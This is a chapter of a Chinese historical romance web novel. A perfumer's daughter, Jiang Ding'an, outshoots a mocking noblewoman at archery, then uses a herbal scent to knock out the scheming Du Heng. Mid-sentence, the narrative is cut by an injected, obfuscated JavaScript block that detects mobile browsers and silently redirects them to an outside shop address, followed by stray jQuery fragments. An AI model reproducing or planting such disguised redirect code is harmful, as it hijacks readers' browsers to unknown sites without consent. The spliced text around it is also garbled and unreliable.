杜婥为了避免仲兄刁难江定安,丢下一句“仲兄,我们去练骑箭了。”,话罢拉着江定安便走。
万里无云,广阔的马场上,几个郎君和娘子正在拉弓射靶,草靶隔了数米之远,一眼望去,正中的靶心如同一个极小的黑点。
杜婥接过武夫递来的轻弓,新奇地摸索了几下,眯着眼睛拉弓,谁知箭刚离弦便落在了地上。
一旁正在练箭的绿罗裳娘子出声讥笑,“杜婥,别在此处丢人现眼了,回家调香算筹去吧。”杜婥被她说得面色微红,羞赧地低下头。
江定安方才一直在默不作声地侧眸观察武夫射箭的动作,此时弯腰拾起短箭,向杜婥摊开手,示意她将长弓递来,
她接过杜婥手中的长弓,随后便是略显迟疑地拉弓射箭,弯弓鼓起如同一泓满月,闪着寒光的箭镞如流星般飞出,离草靶还有三米的距离,蓦然摇摇晃晃地坠在地上。
那位娘子见状捂嘴一笑,再次出言相讥,“还以为是什么了不得的娘子呢,不过如此。”她又点了点杜婥,“婥娘子,你的朋友与你真是相投。”
“江娘子初次射箭,这般已然很好了。”杜婥反唇相讥,“你从前第一次射箭,恐怕还不如我呢。”
江定安抬眸淡淡地撇了一眼绿罗裳娘子,圆融的眸子平静无波,却看得绿罗裳娘子讪讪地闭上了嘴。
耳边没了聒噪的声音,江定安伸手向武夫讨箭,一直讨到武夫的箭筒空了两次,她双臂蓄力,想象着如同旧时剜香那般勉力举起铜镰,腰部力量汇到手心,集中这一张薄薄的弯弓上,
旋即再次拉弓,长箭破风而去,远处的草靶肉眼可见地晃动了两下,守在草靶旁边的马童连忙上前查看,高声道:“江娘子射中靶心了!”
杜婥扬眉吐气,恢复了往日倨傲的神色,提裙跑去看靶心。
绿罗裳娘子先是吃惊,望着晃动的草靶发愣,回过神来,脸上流露出不忿,“箭术再好又如何,谁不知道江娘子抢人猎物。又不是此次出游的世家娘子,猎中了我们的雪兔却不肯归还,实在是品行低劣。”
江定安轻笑了一声,故作惊讶,“是我孤陋寡闻了,竟不知天柱山什么时候成了你们所有?”
绿罗裳娘子被她呛住,气得胸膛剧烈起伏,猛地扔下手中长弓,转身离去。
杜婥绕着草靶看了又看,等到马童取下深入靶心的箭,她终于看够了,兴高采烈地回来,“江娘子,教教我射箭吧!”
耀眼的日光下,江定安额头上已然浮起细汗,她伸手抚过微湿的鬓发,笑着答应。
能将整个马场收之眼底的高台之上,杜筱清正垂眸往下看,分明江定安与杜婥梳着一样的惊鹄髻,身上衣裳款式一般无二,但是她们看上去却截然不同。
他的目光追随着江定安,看着她一遍遍地拉弓射箭,乌黑的发丝在半空中飞扬,沐浴在阳光之下,周身都镀上一层朦胧金光。
杜筱清收回目光,压住心中莫名的情绪,向来温柔昳丽的凤眸一寸寸冷凝,强迫自己的思绪转移到公文上,白家香案还未有定论,恐生变故,“玄圭那边如何了?”
“玄大人从澄迈港来信,如今已到珠崖郡,暂时未寻找到有关李家娘子的音讯。
倒是发现了当地白家旁支急于与义安济白家嫡系割席,有意上呈新的证据到珠崖郡郡守府。”
杜筱清目光微凝,问道:“什么证据?”
随从面色凝重,迟疑了一会儿,“似乎是杜老爷旧时与白家来往的书信,具体说了什么还不清楚。”
杜筱清没有说话,望着隔壁高台上饮酒放歌的杜父,他年事已高,黑发混着斑斑银丝,两鬓稀疏,举着金樽与一群商贾贵吏高谈阔论,不复俊朗的容颜依稀可窥见年轻时醉玉颓山的风姿。
他陡然想起一双凄楚含情的眼,那双眼的主人蜷在冷帐之中,直勾勾地望着廊庑的方向,一直到死都期盼再见那人一面。
“让他们把寻找李家娘子一事放一放,想办法截下那批信件。”
-
江定安教了一上午杜婥如何射箭,只是石弓对于女娘来说还是过重,她聚力的法子效仿伐沉香树取香,杜婥没有伐过树,自小到大更是从未碰过粗活,养得一双手娇嫩软白,力道软绵绵的,教了数遍还是不会聚力。
杜婥射箭十次有八次掉在地上,还有两次箭未上弦就掉了,她也不恼怒,随手放下长弓。打算改日再来。
江定安已经在此住了一日,她起先托跑堂传话,命陆皎暂时打点香坊,不知现在如何了。
她本打算今日便回金鳌洲聚兰斋,谁知杜婥硬要她多留一日,盛情难却,只好答应下来。
用过午膳后,杜婥在竹帐中小憩,江定安闲暇之余在林莽中采了些野草果子,用帕子将苦楝子包裹起来,取了碎石细细碾碎,碾出汁水,再把汁水涂在衣袂上。
苦楝子与合欢皮相克,若是杜横不长眼来寻她,闻久了只怕会昏过去。
虽说现在杜横看起来还算正常,但江定安深谙防患于未然的道理。
她包起帕子,根据记忆找到天柱山中的一脉溪水,掬起一捧溪水洗净了手,这才快步回到马场。
等到夜幕降临,竹帐中烛火幢幢,琉璃灯盏中火光流转,忽然有个女使叫江定安去取昨日换洗的衣裳。
江定安正准备出去,盘腿坐在榻上的杜婥忽道:“为何要江娘子亲自去取?”
女使眼神飘忽,烛光下看得并不明显,“江娘子的衣裳用料与各位主子的不一样,为免和底下女使婆子的混在一起,还请江娘子亲自走一趟。”
这个理由还算合理,江定安来时穿的是一身麻布裥裙,对她来说,料子很是合身舒适,但是远远比不上杜家人所用的绸缎绫罗名贵。
女使把衣裳分开来晾晒也无可厚非。
听到这番解释,杜婥没有再阻拦,在琉璃灯下把玩小弓。
江定安跟着女使走出竹帐,缓步行在各个大帐的过道之间,不知何时四面烛火越来越昏暗,热闹的人声逐渐消失,四下寂静,环顾四周只能看到几个零星人影。
女使领着她走到一方小帐前,旋即在帐外止步,“江娘子,便是这里了。”
她回头却看见江定安在数米外站定了不动,温和柔美的圆眸浸在黑暗中定定地看着她,眼中透着令人畏惧的寒意。
“江娘子?”女使迟疑地唤了一声,江定安已然意识到不对劲,沉默着一步步地往后退去。
见她已经发觉,那女使也不再伪装,微笑道:“我们公子有请。”
公子?莫不是杜横?
是杜横也不出奇,毕竟他与杜筱清素有龃龉,在他看来,她与杜筱清关系匪浅。
此番怕是想要借她来报复杜筱清。
江定安往四周看了看,却发现暗处走出几个五大三粗的镖师,个个体型壮硕,如同一座座小山,严严实实地挡住了出路。
既然无法脱身,那只能会一会杜横,想法子拖延时间,也不知杜婥何时会发现不对劲。
忽略那女使眼中明晃晃的威胁,江定安掀开帐帘,径直走进去。
这个帐篷看着虽小,内里却是满满当当,四处堆着箱箧杂物,大概是个储物的地方。
绕过堆得高高的箱箧,江定安看见杜横坐在一方黄花梨太师椅上,身旁放着一张酸枝小几,小几上摆着一盏茶并三两只倒扣的茶具,还有一只软布包裹。
竹帐中十分昏暗,只有一盏照明的玻璃小灯挂在杂物堆上方,向下投下一点微弱的黄光。
“杜公子何故深夜邀我前来?”江定安一边问,一边从善如流地拿起布包裹,打开一看,果然是自己的衣裳,上面还有皂角的清透气息。
这套襦裙不能再穿了,江定安有些可惜地想。
未料杜横突然道,“杜筱清捕的那只雕鸮,是送给你的。”他话中并无多少疑惑,比起质询,更像是已经笃定。
若是被他认定自己与杜筱清羁绊颇深,怕是走不出
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13354153|140649||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
这方竹帐了。
江定安心中紧绷着弦,外表却看不出分毫,在杂物里择了一只木椅,与杜横相对而坐,语气轻松,大方承认:“是又如何,”
杜横面色骤变,在他发难前,江定安缓声道,“杜筱清想要利用我收拢香坊人心,以便他与你抢夺家产。”
说到此处,她忍不住蹙眉,“他又不肯给些实在的,只愿意把这些免费的野禽赠予我。”
她话中的轻蔑和嫌弃不似作伪,杜横沉默下来,阴沉的黑眸久违地流露出茫然,问道,“什么算是‘实在的'?”
“当然是金子银子了,”江定安答道,“二公子您说,若是有人托您办事却不给报酬,不知您愿不愿意为他做事?”
杜横竟然顺着她的思路仔细考虑了一下,“还得看是何人,若是熟人,随手相助亦无不可。”
“杜公子豁达,只是我家中贫寒,迫于生计......”江定安没有说全,留给杜横想象的空间。
“杜公子财大气粗,若是愿意赠予一二,我也可以弃暗投明。”江定安低声道。
昏暗的烛光下,她圆融的眼眸说不出的温柔婉转,眉眼灵动皎洁,神态清正,秀气飘萧。
容貌不算夺目艳丽,秀美中透着刚毅的气质却异常动人。
杜横意识到自己看痴了,旋即垂下眼眸,目光避开她的脸,“你愿意弃暗投明,自然再好不过。”他想了想,“莫说要银子,要宅子我也可以给你。”
江定安眼中流露出惊喜,两泓圆融的眸子里仿佛有一两点粲然星子流转,脸上赫然写着:你真有钱。
“杜公子如此大方,远胜于杜长史。”
她知道杜横素日最介怀自己不如杜筱清,果然此话一出,杜横清澈的眉眼松动,双眼一闭,随后向后倒去。
幸好有太师椅的椅背撑住,他身子软绵,就那么倚靠在椅背上。
江定安闻了闻自己的袖袂,还残存苦楝子的香气,杜横闻了那么久,晕过去也不奇怪。
她站起来,看着晕迷不醒的杜横,又想到帐外那群凶神恶煞的镖师,心中无奈。
随即端起小几上的茶水,直直朝杜横脸上泼了过去。
温热的茶水将杜横的睫毛濡湿得根根分明,他睁开湿漉漉的眼,懵懂地看着江定安。
江定安面带担忧,“杜公子,方才话说得好好的,你怎么晕过去了?”
“你可得好好查查身边之人了,杜长史可不是心慈手软的性子。”
杜横眼中的懵懂已经褪去,他伸手摸了一把脸,表示赞同,“你说得有道理,”他目光阴狠,“是该好好查查了。”
杜横被泼了茶,神智似乎清醒了不少,“江娘子要为我办事,可得拿出诚意来。”
江定安知道这个,不就是投名状嘛,谁知接下来听到杜横的话,她的心一点点沉了下去。
“我要你帮白家翻案,”他漆黑的眼眸直勾勾地盯着江定安,“我猜,你有法子让杜筱清听你的。”
江定安的心蓦然重重跳了跳,她听闻白家香案已定,只是胶在推勘院各职事聚录签押上面,要如何转圜?
何况,她并不想出手扭转白家如今局势。
她略微迟疑,杜横十分不满,“你这是不肯?”
“我办不到,”江定安道,“我既无官身,又不曾结识高管贵吏,如何翻案?”
“你自然不能,”杜横语气冷淡,“只要让杜筱清改变主意便可。”
杜横如此固执,江定安无言,饶是许诺给她房契地契,拿不到手便都是虚的。
她眼中掠过一丝遗憾,既然讲不通,袖袂的苦楝子又能派上用场了,准备动手之际,竹帐忽然被人掀开。
杜筱清携着幽深月光自帐外走进来,一袭水蓝澄袍,俊美冰冷的眉目在如水的微光显得格外温润。
他先看向江定安,二人的目光在半空中相触,随后再看向杜横,视线自上而下扫过他脸上的班班水迹,目光一寸寸冷凝。